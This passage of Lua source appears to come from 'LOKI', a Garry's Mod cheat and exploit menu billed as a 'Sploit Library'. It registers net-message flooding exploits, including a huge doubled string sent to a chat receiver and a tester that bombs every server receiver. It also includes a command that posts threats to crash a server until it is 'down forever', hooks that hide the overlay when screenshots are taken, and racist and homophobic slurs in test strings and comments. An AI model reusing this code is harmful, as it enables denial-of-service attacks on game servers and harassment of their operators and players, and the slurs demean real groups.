  1809. surface.DrawLine( 10, 25, 25, 40 )
  1810. surface.DrawLine( 55, 40, 70, 25 )
  1811. surface.DrawLine( 25, 40, 25, 60 )
  1812. surface.DrawLine( 55, 40, 55, 60 )
  1813. surface.DrawLine( 25, 60, 40, 70 )
  1814. surface.DrawLine( 55, 60, 40, 70 )
  1815. LOKI.DrawText( "Sploit Library", "default", 8, 85, Color(255,255,255, 30) )
  1816. LOKI.DrawText( "Exploits: "..LOKI.Menu.ExploitCount[3], "default", 8, 95, Color(255,255,255, 30) )
  1817. LOKI.DrawText( "Available: "..LOKI.Menu.ExploitCount[4], "default", 8, 105, Color(255,255,255, 30) )
  1818. LOKI.DrawText( "Bait?: "..LOKI.BAIT_COUNT, "default", 8, 115, Color(255,255,255, 30) )
  1819. LOKI.DrawText( "Ares: "..(LOKI.ARES && "✓" || "✗"), "default", 8, 125, Color(255,255,255, 30) )
  1820. end
  1821. Plist = LOKI.vgui.Create( "DPanelList", LOKI.Menu )
  1822. Plist:SetSize( LOKI.Menu:GetWide() - 90, LOKI.Menu:GetTall() - 35 )
  1823. Plist:SetPadding( 5 )
  1824. Plist:SetSpacing( 5 )
  1825. Plist:EnableHorizontal( false )
  1826. Plist:EnableVerticalScrollbar( false )
  1827. Plist:SetPos( 80, 25 )
  1828. Plist:SetName( "" )
  1829. LOKI.MakeFunctionButton( LOKI.Menu, 10, 140, "Load Config", LOKI.LoadConfig, "Load a saved loki config" )
  1830. LOKI.MakeFunctionButton( LOKI.Menu, 10, 170, "Save Config", LOKI.SaveConfig, "Save your loki config" )
  1831. --LOKI.MakeFunctionButton( LOKI.Menu, 12, LOKI.Menu:GetTall() - 35, " net.Send ", LOKI.NetmessagePanel, "" )
  1832. LOKI.CreatePanel = function( Name, t, parent )
  1833. if !LOKI.Menu || !LOKI.Menu:IsVisible() then return end
  1834. for _, tab in ipairs( t.functions ) do
  1835. if tab.typ == "bools" && istable(tab.tbl) then
  1836. if(!t.count) then
  1837. t.count = {
  1838. ["Active"] = 1,
  1839. ["Total"] = 1,
  1840. }
  1841. end
  1842. if(!t.count.Counted) then
  1843. if(!t.count.Counted) then
  1844. t.count.Total = t.count.Total - 1
  1845. t.count.Counted = true
  1846. end
  1847. t.count.Total = t.count.Total .. table.Count(tab.tbl)
  1848. end
  1849. local funcs = {}
  1850. for k, v in pairs(tab.tbl) do
  1851. if(LOKI.ValidNetString(v)) then
  1852. t.count.Active = t.count.Active + 1
  1853. local tab = table.Copy(tab)
  1854. tab.typ = "bool"
  1855. tab.ToggleText = {k}
  1856. tab.border = true
  1857. tab.bool = v
  1858. tab.channel = v
  1859. tab.tbl = nil
  1860. table.insert(t.functions, tab)
  1861. t.bools[v] = false
  1862. end
  1863. end
  1864. table.RemoveByValue(t.functions, tab)
  1865. t.typ = "bools"
  1866. end
  1867. end
  1868. if(#t.functions == 0) then return end
  1869. local cmdp = LOKI.vgui.Create( "DPanel", parent )
  1870. cmdp:SetSize( Plist:GetWide(), 70 )
  1871. cmdp.Cmd = Name
  1872. cmdp.Desc = isfunction(t.desc) && t.desc() || t.desc
  1873. local status = isfunction(t.status) && t.status() || t.status
  1874. if(status != nil && StatusText[status] && StatusColors[status]) then
  1875. cmdp.Status = StatusText[status]
  1876. cmdp.StatusCol = StatusColors[status]
  1877. else
  1878. cmdp.Status = "Unknown"
  1879. cmdp.StatusCol = StatusColors[2]
  1880. end
  1881. cmdp.Paint = function( s, w, h )
  1882. if(!LOKI.Menu || !LOKI.Menu:IsVisible()) then return cmdp:Remove() end
  1883. local severity = isfunction(t.severity) && t.severity() || t.severity
  1884. surface.SetDrawColor( Color(50, 50, 50, 245) )
  1885. surface.DrawRect( 0, 0, w, h )
  1886. surface.SetDrawColor( LOKI.GetColor(severity) || Color(255, 255, 255) )
  1887. surface.DrawOutlinedRect( 0, 0, w, h )
  1888. surface.DrawLine( 0, 24, w, 24 )
  1889. local r_tbl = LOKI.RecursiveGetVar(t, {"vars", "Think"}, "table", true)
  1890. if(r_tbl.cooldown && r_tbl.cooldown - LOKI.REAL_CURTIME >= 0) then
  1891. local cooldown = r_tbl.cooldown - LOKI.REAL_CURTIME
  1892. LOKI.DrawText( string.format(cmdp.Cmd.."%s", " [" .. LOKI.SecondsToClock(cooldown) .. "]"), "DermaDefault", 10, 5, Color(255,255,255) )
  1893. else
  1894. r_tbl.cooldown = 0
  1895. LOKI.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) )
  1896. end
  1897. if(severity > 0) then
  1898. LOKI.DrawText( "Status: ", "DermaDefault", 595 - (LOKI.Menu:GetWide() - cmdp:GetWide()), 5, Color(255,255,255) )
  1899. LOKI.DrawText( cmdp.Status, "DermaDefault", 635 - (LOKI.Menu:GetWide() - cmdp:GetWide()), 5, cmdp.StatusCol )
  1900. end
  1901. LOKI.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
  1902. end
  1903. local width, height = cmdp:GetSize()
  1904. local nfunctions = #t.functions
  1905. local x = 10
  1906. for _, tab in ipairs( t.functions ) do
  1907. tab.max_width = (width / nfunctions) - (nfunctions * 5)
  1908. if(tab.required == nil || tab.required == true) then
  1909. if tab.typ == "func" then
  1910. x = (x + 5) + LOKI.MakeFunctionButton( cmdp, x, 42, tab.Name, t, nil, tab )
  1911. elseif tab.typ == "bool" then
  1912. x = (x + 5) + LOKI.MakeFunctionButton( cmdp, x, 42, (!((LOKI.NotNil(tab.bool) && t.bools[tab.bool]) || t.bools.enabled) && ((tab.ToggleText && tab.ToggleText[1]) || "Start") || ((tab.ToggleText && (tab.ToggleText[2] || tab.ToggleText[1])) || "Stop")), t, nil, tab, tab.border)
  1913. elseif tab.typ == "players" then
  1914. x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, player.GetAll(), x, 42, tab )
  1915. if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
  1916. elseif tab.typ == "player" then
  1917. x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, player.GetAll(), x, 42, tab, true )
  1918. if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
  1919. elseif tab.typ == "entities" then
  1920. x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, tab.tbl, x, 42, tab )
  1921. if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
  1922. elseif tab.typ == "entity" then
  1923. x = (x + 5) + LOKI.MakeEntitySelectionButton( cmdp, tab.tbl, x, 42, tab, true )
  1924. if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
  1925. elseif tab.typ == "string" then
  1926. x = (x + 5) + LOKI.MakeTextInputButton( cmdp, x, 42, tab.Name, tab.default, tab.addr )
  1927. if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
  1928. elseif tab.typ == "combo" then
  1929. x = (x + 5) + LOKI.MakeComboButton( cmdp, x, 42, tab.Name, tab.default, tab.addr, tab.tbl, tab.restriction, tab.var, tab.sort, tab.find )
  1930. if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
  1931. elseif tab.typ == "float" then
  1932. x = (x + 5) + LOKI.MakeNumberInputButton( cmdp, x, 42, tab.Name, tab.default, tab.min, tab.max, tab.addr )
  1933. if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
  1934. elseif tab.typ == "vector" then
  1935. x = (x + 5) + LOKI.MakeVectorInputButton( cmdp, x, 42, tab.Name, tab.default, tab.addr )
  1936. if !LOKI.IsStored( tab.addr ) then LOKI.Store( tab.addr, tab.default ) end
  1937. end
  1938. end
  1939. end
  1940. Plist:AddItem( cmdp )
  1941. end
  1942. end
  1943. local reset = false
  1944. if(LOKI.BAIT_LIMIT != LOKI.GetStored( "baitthreshold", 5 )) then
  1945. reset = true
  1946. LOKI.BAIT_LIMIT = LOKI.GetStored( "baitthreshold", 5 )
  1947. end
  1948. local det_call = LOKI.DetourCall || false
  1949. LOKI.DetourCall = true
  1950. for k, v in ipairs(LOKI.GetAllExploits()) do
  1951. if(reset) then v.scanned = false end
  1952. LOKI.BlockNetOutgoing = true
  1953. if(v.prevalidated) then LOKI.GENERAL_OVERRIDE = true end
  1954. local scan = (v.scanned && !v.scan_always) || v.scan(v)
  1955. LOKI.GENERAL_OVERRIDE = false
  1956. LOKI.BlockNetOutgoing = false
  1957. if scan then
  1958. local Name = v.Name
  1959. if(v.severity != 0 && #LOKI.GetExploit(Name) > 1) then
  1960. Name = Name .. " #" .. v.Index
  1961. end
  1962. LOKI.CreatePanel( Name, v, Plist )
  1963. if(scan != true) then v.channel = scan end
  1964. if(!v.scanned) then
  1965. if(isfunction(v.initial)) then
  1966. v.initial(v)
  1967. end
  1968. v.scanned = true
  1969. end
  1970. if(v.hooks && istable(v.hooks)) then
  1971. for k2, v2 in pairs(v.hooks) do
  1972. if(LOKI.Hooks[k2] && LOKI.Hooks[k2][""]) then continue end
  1973. if(events[k2] && !eventsR[k2]) then
  1974. gameevent.Listen(k2)
  1975. eventsR[k2] = true
  1976. end
  1977. local ret_val = nil
  1978. hook_Add(k2, "", function(gm_ret, ...)
  1979. local det_call = LOKI.DetourCall || false
  1980. LOKI.DetourCall = true
  1981. local skip = false
  1982. if(LOKI.Killswitch || LOKI.Unload) then skip = true end
  1983. local varargs = {...}
  1984. if((k2:find("Draw") || k2:find("Render") || k2:find("HUD") || k2:find("Paint"))) then
  1985. if(!system.HasFocus() || input.IsKeyDown(input.GetKeyCode(input.LookupBinding("jpeg") || "F5")) || input.IsKeyDown(KEY_F12)) then
  1986. skip = true
  1987. end
  1988. end
  1989. if(!skip) then
  1990. for k3, v3 in ipairs( LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true) ) do
  1991. if(!LOKI.GetEnabled(v3)) then continue end
  1992. if((v3.hooks) && istable(v3.hooks) && v3.scanned) then
  1993. local cooldown = LOKI.RecursiveGetVar(v3, {"vars", k2, "cooldown"}, "number")
  1994. if(cooldown && cooldown - LOKI.REAL_CURTIME >= 0) then continue end
  1995. if(k2 == "Think" && isfunction(v3.hooks[k2])) then
  1996. if(v3.severity == 0) then
  1997. ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
  1998. if(ret || ret == false) then
  1999. ret_val = ret
  2000. end
  2001. else
  2002. if(LOKI.NEXT_TIME <= SysTime()) then
  2003. LOKI.RAN_THIS_TICK = true
  2004. local tpt = (isfunction(v3.times_per_tick) && v3.times_per_tick(v3) || (v3.times_per_tick))
  2005. local limit = 0
  2006. if(!istable(tpt)) then
  2007. limit = math.Clamp(math.Round(LOKI.SafeToNumber(LOKI.SafeToNumber(tpt))), 1, math.huge)
  2008. else
  2009. limit = LOKI.GetRateLimitedTimesPerTick() / #tpt
  2010. end
  2011. if(limit == math.huge) then
  2012. limit = LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT )
  2013. end
  2014. if(limit < LOKI.GetRateLimitedTimesPerTick()) then
  2015. if(!LOKI.BUFFER) then
  2016. LOKI.BUFFER = 0
  2017. end
  2018. LOKI.BUFFER = LOKI.BUFFER + LOKI.GetRateLimitedTimesPerTick() - limit
  2019. end
  2020. if(!limit || limit > LOKI.GetRateLimitedTimesPerTick()) then
  2021. if(LOKI.BUFFER) then
  2022. local tbl = LOKI.GetVarTable(LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true), "times_per_tick", LOKI.TYPEVARS.MORETHAN, LOKI.GetRateLimitedTimesPerTick())
  2023. local tbl_C = 0
  2024. for k4, v4 in ipairs(tbl) do
  2025. tbl_C = tbl_C + LOKI.GetEnabledCount(v4)
  2026. end
  2027. local BUFFER = math.Round(LOKI.BUFFER / tbl_C)
  2028. if(BUFFER == 0) then
  2029. BUFFER = LOKI.BUFFER
  2030. end
  2031. BUFFER = math.Round(math.Clamp(BUFFER, 0, math.huge))
  2032. limit = LOKI.GetRateLimitedTimesPerTick() + BUFFER
  2033. LOKI.BUFFER = math.Round(math.Clamp(LOKI.BUFFER - BUFFER, 0, math.huge))
  2034. else
  2035. limit = LOKI.GetRateLimitedTimesPerTick()
  2036. end
  2037. end
  2038. local mpt = (isfunction(v3.msgs_per_tick) && v3.msgs_per_tick(v3) || (v3.msgs_per_tick || 1))
  2039. if(mpt > 1) then
  2040. limit = limit / mpt
  2041. end
  2042. limit = math.Clamp(math.Round(LOKI.SafeToNumber(limit)), 1, math.huge)
  2043. /*if(v3.Sender) then
  2044. print("Sending " .. limit * mpt .. " for " .. v3.Name, v3.Index)
  2045. end*/
  2046. for i=1,limit do
  2047. ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
  2048. if(ret || ret == false) then
  2049. ret_val = ret
  2050. end
  2051. end
  2052. end
  2053. end
  2054. elseif(isfunction(v3.hooks[k2])) then
  2055. if(k2 == "PostRender") then
  2056. cam.Start2D()
  2057. ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
  2058. cam.End2D()
  2059. else
  2060. ret = v3.hooks[k2]({}, v3, varargs, gm_ret)
  2061. end
  2062. if(ret || ret == false) then
  2063. ret_val = ret
  2064. end
  2065. end
  2066. end
  2067. end
  2068. end
  2069. if(k2 == "Think" && LOKI.RAN_THIS_TICK) then
  2070. LOKI.NEXT_TIME = SysTime() + (engine.TickInterval() * (LOKI.TICK_RATE / LOKI.GetStored( "tickdelay", LOKI.TICK_RATE)))
  2071. LOKI.RAN_THIS_TICK = false
  2072. end
  2073. LOKI.DetourCall = det_call
  2074. if(ret_val) then
  2075. return ret_val
  2076. elseif(ret_val == false) then
  2077. return false
  2078. end
  2079. end)
  2080. end
  2081. end
  2082. end
  2083. end
  2084. LOKI.DetourCall = det_call
  2085. ActiveCount()
  2086. if(istable(LAST_TABLE)) then
  2087. table.Empty(LAST_TABLE)
  2088. end
  2089. end
  2090. LOKI.concommand.Add( "lowkey_menu", LOKI.OpenMenu)
  2091. LOKI.concommand.Add("lowkey_freecam", function(p, k, d)
  2092. LOKI.Freecam.Toggle(d)
  2093. end)
  2094. local ctxlines = {
  2095. "Hi, my name is Crash Jackson.",
  2096. "I have access to 4 paid alts, each one of which allows me access to 5 other family shared steam alts.",
  2097. "I plan to crash your server repeatedly until every single alt is banned.",
  2098. "Then I'll buy some more alts and start over again.",
  2099. "I won't stop until your server is down forever.",
  2100. "Have a nice day.",
  2101. }
  2102. function LOKI.CrashJackson( p, k, d )
  2103. if(!d) then return end
  2104. for k, v in pairs( ctxlines ) do
  2105. if DarkRP then
  2106. timer.Simple( k * 2, function() RunConsoleCommand("say", "// "..v) end )
  2107. else
  2108. timer.Simple( k * 2, function() RunConsoleCommand("say", v) end )
  2109. end
  2110. end
  2111. end
  2112. LOKI.concommand.Add( "lowkey_crashjackson", LOKI.CrashJackson )
  2113. LOKI.concommand.Add( "lowkey_unload", function() LOKI.Killswitch = true end )
  2114.  
  2115. local messagetypes = {
  2116. [1] = { ["col"] = Color( 255, 255, 255 ), ["icon"] = Material( "icon16/application_xp_terminal.png" ) }, -- neutral message
  2117. [2] = { ["col"] = Color( 250, 200, 140 ), ["icon"] = Material( "icon16/cross.png" ) }, -- negative message
  2118. [3] = { ["col"] = Color( 180, 250, 180 ), ["icon"] = Material( "icon16/tick.png" ) }, -- positive message
  2119. [4] = { ["col"] = Color( 250, 140, 140 ), ["icon"] = Material( "icon16/error.png" ) }, -- error message
  2120. [5] = { ["col"] = Color( 180, 180, 250 ), ["icon"] = Material( "icon16/user.png" ) }, -- blue message
  2121. [6] = { ["col"] = Color( 250, 250, 180 ), ["icon"] = Material( "icon16/lightbulb.png" ) }, -- lightbulb message
  2122. }
  2123.  
  2124. local aegiscomponent = { color = -1, name = "Aegis" }
  2125.  
  2126. local notifies = {}
  2127. local tableinsert = table.insert
  2128. local istable = istable
  2129. local error = error
  2130.  
  2131. function LOKI.Notify( component, type, text )
  2132. if !messagetypes then return end
  2133. if !component or !istable( component ) then component = { color = Color( 255, 0, 0 ), name = "DEFINE A SCRIPT COMPONENT PROPERLY YOU AUTIST" } end
  2134. if !messagetypes[type] then
  2135. tableinsert( notifies, { ["time"] = CurTime() + 10, ["ccol"] = Color(255,0,0), ["ctxt"] = "[ AEGIS ERROR ]", ["icon"] = "icon16/error.png", ["col"] = Color(255,0,0), ["txt"] = "Invalid aegis notify type! must be 1-6!" } )
  2136. return
  2137. end
  2138. if component.color == -1 then component.color = Color( 55, 55, 155 ) end
  2139. tableinsert( notifies, { ["time"] = CurTime() + 10, ["ccol"] = component.color, ["ctxt"] = "[ "..component.name.." ]", ["icon"] = messagetypes[type].icon, ["col"] = messagetypes[type].col, ["txt"] = text } )
  2140. end
  2141.  
  2142. /*for i=1, 6 do
  2143. LOKI.Notify( { color = Color(150, 150, 150, 245), name = "Loki" }, i, "Loki v2 Colour Test" )
  2144. end*/
  2145.  
  2146. local function DrawNotifies()
  2147. -- if !messagetypes then return end
  2148. local x, y = 10, ScrH() / 2
  2149. local cutoff = 0
  2150. for k, v in pairs( notifies ) do
  2151. if cutoff > 30 then continue end
  2152. cutoff = cutoff + 1
  2153. local lx = 10
  2154. local timeleft = v.time - CurTime()
  2155. if timeleft < 2 then lx = 10 - ( ( 2 - timeleft ) * 800 ) end -- pull back into the edge of the screen at the end of the timer
  2156. if timeleft <= 0.5 then notifies[k] = nil continue end -- your time is up faggot
  2157. local bgcol = Color( v.ccol.r, v.ccol.g, v.ccol.b, 145 )
  2158. local bgcol2 = Color( v.col.r, v.col.g, v.col.b, 145 )
  2159. surface.SetDrawColor( v.ccol )
  2160. local txw, txh = draw.SimpleText( v.ctxt, "Trebuchet18", lx, y, v.ccol, 0, 0 )
  2161.  
  2162. surface.SetDrawColor( bgcol )
  2163. surface.DrawRect( lx - 5, y - 1, txw + 10, 20 )
  2164. surface.DrawLine( lx - 5, y - 1, lx - 5 + (txw + 10), y - 1 )
  2165.  
  2166. surface.SetDrawColor( Color(255,255,255, 150) )
  2167. surface.SetMaterial( v.icon )
  2168. surface.DrawTexturedRect( (lx - 5) + txw + 16, y + 1, 16, 16 )
  2169.  
  2170. txw = txw + 22
  2171.  
  2172. local txw2, txh2 = draw.SimpleText( v.txt, "Trebuchet18", (lx - 5) + txw + 20, y, v.col, 0, 0 )
  2173. surface.SetDrawColor( bgcol2 )
  2174. surface.DrawRect( (lx - 5) + txw + 15, y - 1, txw2 + 10, 20 )
  2175. surface.DrawLine( (lx - 5) + txw + 15, y - 1, ((lx - 5) + txw + 15) + txw2 + 10, y - 1 )
  2176.  
  2177. y = y - 25
  2178. end
  2179. end
  2180.  
  2181. setmetatable(net.ReadVars, {
  2182. __index = function(self, key)
  2183. return net.ReadVars[key] || net.ReadVars[0]
  2184. end,
  2185. })
  2186. /*LOKI.AddAllReceivers = function()
  2187. for i = 1, math.huge do
  2188. local str = util.NetworkIDToString(i)
  2189. if not str then return false end
  2190.  
  2191. LOKI.AddExploit( str, {
  2192. desc = "Potential lagsploit",
  2193. severity = 0,
  2194. bools = {enabled = false},
  2195. status = -1,
  2196. times_per_tick = math.huge,
  2197. scan = function() return LOKI.ValidNetString( str ) end,
  2198. hooks = {
  2199. Think = function(tbl, sploit)
  2200. LOKI.NetStart( sploit,str)
  2201. net.SendToServer()
  2202. end,
  2203. },
  2204. functions = {
  2205. { typ = "bool", },
  2206. },
  2207. } )
  2208. end
  2209. end
  2210. LOKI.concommand.Add("lowkey_addall", LOKI.AddAllReceivers)*/
  2211. local str = "\n"
  2212. LOKI.AddExploit( "lag_func", {
  2213. desc = "Test exploit. (if this works let me know so I can officially enable it)",
  2214. severity = 1,
  2215. bools = {enabled = false},
  2216. status = -1,
  2217. times_per_tick = math.huge,
  2218. scan = function() return LOKI.ValidNetString( "fp_chatText" ) end,
  2219. hooks = {
  2220. Think = function(tbl, sploit)
  2221. if(str == "\n") then
  2222. for i = 1, 65533 do
  2223. str = str .. str
  2224. end
  2225. end
  2226. LOKI.NetStart( sploit, "fp_chatText")
  2227. net.WriteString(str)
  2228. net.SendToServer()
  2229. end,
  2230. },
  2231. functions = {
  2232. { typ = "bool", },
  2233. },
  2234. } )
  2235. if(LOKI.Developer) then
  2236. LOKI.AddExploit( "Lagsploit Tester", {
  2237. desc = "Bomb any receiver to find lagsploits",
  2238. severity = -1,
  2239. bools = {enabled = false},
  2240. status = 1,
  2241. times_per_tick = math.huge,
  2242. vars = {},
  2243. scan = function() return true end,
  2244. hooks = {
  2245. Think = function(tbl, sploit)
  2246. if(LOKI.GetStored("tester1")[2] == "*") then
  2247. sploit.times_per_tick = LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT ) / #LOKI.Receivers
  2248. for k, v in ipairs(LOKI.Receivers) do
  2249. if(v.str != "*") then
  2250. LOKI.NetStart(sploit, v.str)
  2251. net.SendToServer()
  2252. end
  2253. end
  2254. else
  2255. sploit.times_per_tick = math.huge
  2256. LOKI.NetStart(sploit, LOKI.GetStored("tester1")[2])
  2257. net.SendToServer()
  2258. end
  2259. end,
  2260. },
  2261. functions = {
  2262. { typ = "combo", Name = "Sender", tbl = LOKI.GetAllReceivers(), restriction = nil, var = "str", sort = "str", find = "str", default = -1, addr = "tester1" },
  2263. { typ = "bool", },
  2264. },
  2265. } )
  2266. end
  2267. //////////////////////////////////////////////- SPLOITS -////////////////////////////////////////////////
  2268.  
  2269. LOKI.AddExploit( "Test Sploit", {
  2270. desc = "Does nothing, used for menu testing",
  2271. severity = 1,
  2272. bools = {enabled = true},
  2273. status = 1,
  2274. times_per_tick = 1,
  2275. vars = {},
  2276. scan = function() return false end,
  2277. /*count = {
  2278. ["Active"] = 25,
  2279. ["Total"] = 25,
  2280. },*/
  2281. hooks = {
  2282. Think = function(tbl, sploit)
  2283. PrintTable(tbl)
  2284. print( LOKI.GetStored( "teststring", "" ).." is such a fucking gay nigger omg" )
  2285. end,
  2286. },
  2287. functions = {
  2288. { typ = "float", Name = "Niggers to kill", default = 1, min = 0, max = 100, addr = "testfloat" },
  2289. { typ = "string", Name = "Enter a gay cunt", default = "you", addr = "teststring" },
  2290. { typ = "players", addr = "testplayers" },
  2291. { typ = "func", Name = "Fist his holes", args = {LOKI.GetLP()}, },
  2292. },
  2293. } )
  2294.  
  2295. function LOKI.TIME_TO_TICKS( dt ) return( LOKI.SafeToNumber( 0.5 + LOKI.SafeToNumber(dt) / engine.TickInterval() ) ) end
  2296. function LOKI.TICKS_TO_TIME( t ) return( engine.TickInterval() *( t ) ) end
  2297. function LOKI.ROUND_TO_TICKS( t ) return( engine.TickInterval() * LOKI.TIME_TO_TICKS( t ) ) end
  2298. LOKI.DRAW_TPS = 0
  2299. LOKI.OS_TIME = 0
  2300. LOKI.DROPPED_FRAMES = 0
  2301. LOKI.TICK_RATE = math.Round( 1 / engine.TickInterval() )
  2302. LOKI.RATE_LIMIT = 1028
  2303. LOKI.NEXT_TIME = 0
  2304. LOKI.REAL_CURTIME = 0
  2305. function LOKI.DrawText(...)--text, font, x, y, col
  2306. if true then return draw.SimpleText(...) end
  2307. surface.SetFont( font )
  2308. surface.SetTextColor( col )
  2309. surface.SetTextPos( x, y )
  2310. surface.DrawText( tostring(text) )
  2311. end
  2312. function LOKI.GetRateLimitedTimesPerTick()
  2313. local enabled = LOKI.GetVarExploits({"bools", "enabled"}, LOKI.TYPEVARS.EQUALTO, true)
  2314. local senders = LOKI.GetVarTable(enabled, "Sender", LOKI.TYPEVARS.EQUALTO, true)
  2315. local count = #senders
  2316. for k, v in ipairs(senders) do
  2317. local tbl_C = table.Count(v.bools)
  2318. if(tbl_C > 1) then
  2319. for k2, v2 in pairs(v.bools) do
  2320. if(k2 != "enabled") then
  2321. if(v2 == true) then
  2322. count = (count + 1)
  2323. end
  2324. else
  2325. count = count - 1
  2326. end
  2327. end
  2328. end
  2329. end
  2330. local limit = count
  2331. if(limit <= 0) then
  2332. limit = 1
  2333. end
  2334. return math.Clamp(
  2335. math.Round(
  2336. (LOKI.GetStored( "tpsrate", LOKI.RATE_LIMIT ) / LOKI.GetStored( "tickdelay",
  2337. LOKI.TICK_RATE) / limit) * (LOKI.GetStored( "tickdelay", LOKI.TICK_RATE) / math.min(LOKI.GetStored( "tickdelay", LOKI.TICK_RATE), math.max(LOKI.GetStored( "fpsthreshold", 5 ), (1 / FrameTime()))))), 1, math.huge)
  2338. end
  2339. if(GAMEMODE.LimitHit) then GAMEMODE.LimitHit = function() return false end end
  2340. LOKI.DrawPanels = {}
  2341. LOKI.AddExploit( "Loki Settings", {
  2342. desc = "Tweak performance",
  2343. severity = 0,
  2344. bools = {enabled = true},
  2345. status = 4,
  2346. times_per_tick = 1,
  2347. vars = {},
  2348. scan = function() return true end,
  2349. hooks = {
  2350. CreateMove = function(tbl, sploit, varargs)
  2351. LOKI.GetLP():SetViewPunchAngles(Angle(0,0,0))
  2352. local cmd = varargs[1]
  2353. if(cmd:TickCount() == 0 || cmd:CommandNumber() == 0) then return end
  2354. if(input.LookupBinding("+speed", true) != "no value" && input.IsKeyDown(input.GetKeyCode(input.LookupBinding("+speed", true))) && !cmd:KeyDown(IN_SPEED)) then
  2355. cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_SPEED))
  2356. end
  2357. hook.Run("CL_Move", unpack(varargs))
  2358. end,
  2359. SetupMove = function(tbl, sploit, varargs)
  2360. hook.Run("CL_PostMove", unpack(varargs))
  2361. end,
  2362. PostRender = function()
  2363. LOKI.GetLP():SetViewPunchAngles(Angle(0,0,0))
  2364. render.SetRenderTarget( render.GetRenderTarget() )
  2365. local ent = LOKI.IsHovered || LOKI.SpectateEnt
  2366. if((LOKI.Freecam.Enabled == true || (IsValid(ent) && ent.OBBCenter)) && !gui.IsGameUIVisible()) then
  2367. render.RenderView( LOKI.Freecam.Data )
  2368. for k, v in ipairs(vgui.GetWorldPanel():GetChildren()) do
  2369. if IsValid(v) && v:IsVisible() then
  2370. v:PaintManual()
  2371. end
  2372. end
  2373. /*LOKI.GENERAL_OVERRIDE = true
  2374. LOKI.GetLP():DrawModel()
  2375. LOKI.GENERAL_OVERRIDE = false*/
  2376. end
  2377. LOKI.LAST_RENDER = SysTime()
  2378. LOKI.DrawText( LOKI.DRAW_TPS .. "/" .. LOKI.TICK_RATE .. " - " .. LOKI.GetRateLimitedTimesPerTick(), "TargetID", 0, 0, Color( 255, 255, 255, 255 ) )
  2379. LOKI.DrawText( "D: " .. LOKI.DROPPED_FRAMES, "TargetID", 0, 15, Color( 255, 255, 255, 255 ) )
  2380. cam.Start3D()
  2381. local ent = LOKI.IsHovered || LOKI.SpectateEnt
  2382. if(IsValid(ent) && ent.OBBCenter) then
  2383. if(ent:IsDormant()) then
  2384. ent:DrawModel()
  2385. end
  2386. else
  2387. LOKI.IsHovered = false
  2388. LOKI.SpectateEnt = false
  2389. end
  2390. hook.Run("Render3D")
  2391. cam.End3D()
  2392. hook.Run("Render2D")
  2393. DrawNotifies()
  2394. for k, v in ipairs(LOKI.DrawPanels) do
  2395. if IsValid(v) && v:IsVisible() then
  2396. v:PaintManual()
  2397. end
  2398. end
  2399. end,
  2400. CalcView = function(tbl, sploit, varargs)
  2401. local ply, pos, angles, fov, drawviewer = unpack(varargs)
  2402. drawviewer = false
  2403. local ent = LOKI.IsHovered || LOKI.SpectateEnt
  2404. if(IsValid(ent) && ent.OBBCenter) then
  2405. drawviewer = true
  2406. pos = (ent:GetPos() + ent:OBBCenter())
  2407. local tr = util.TraceLine( {
  2408. start = pos,
  2409. endpos = (ent:GetPos() + ent:OBBCenter())-( angles:Forward()*100 ),
  2410. filter = function( hitent ) if ( hitent == ent ) then return false end end
  2411. } )
  2412. pos = tr.HitPos
  2413. else
  2414. LOKI.IsHovered = false
  2415. LOKI.SpectateEnt = false
  2416. end
  2417. if ( LOKI.Freecam.SetView ) then
  2418. LOKI.Freecam.ViewOrigin = pos
  2419. LOKI.Freecam.SetView = false
  2420. end
  2421. if ( LOKI.Freecam.Enabled == true ) then
  2422. LOKI.Freecam.Data = {origin = LOKI.Freecam.ViewOrigin, drawviewer = true, dopostprocess = true, drawhud = true, drawmonitors = true, drawviewmodel = false}
  2423. else
  2424. LOKI.Freecam.Data = ({ply = ply, origin = pos, angles = angles, fov = fov, drawviewer = drawviewer, dopostprocess = true, drawhud = true, drawmonitors = true, drawviewmodel = false})
  2425. end
  2426. //return LOKI.Freecam.Data
  2427. end,
  2428. StartCommand = function(tbl, sploit, varargs)
  2429. local cmd = varargs[2]
  2430. if ( LOKI.Freecam.Enabled == true ) then
  2431.  
  2432. LOKI.Freecam.ViewOrigin = LOKI.Freecam.ViewOrigin + ( LOKI.Freecam.Velocity )
  2433. LOKI.Freecam.Velocity = LOKI.Freecam.Velocity * 0.95
  2434.  
  2435. local add = Vector( 0, 0, 0 )
  2436. local ang = cmd:GetViewAngles()
  2437. local move_mod = 4
  2438. local speed_mod = 4
  2439. if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() * move_mod end
  2440. if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() * move_mod end
  2441. if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() * move_mod end
  2442. if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() * move_mod end
  2443. if ( cmd:KeyDown( IN_JUMP ) ) then add = add + Angle(0,0,0):Up() * move_mod cmd:RemoveKey(IN_JUMP) end
  2444. if ( cmd:KeyDown( IN_DUCK ) ) then add = add - Angle(0,0,0):Up() * move_mod cmd:RemoveKey(IN_DUCK) end
  2445.  
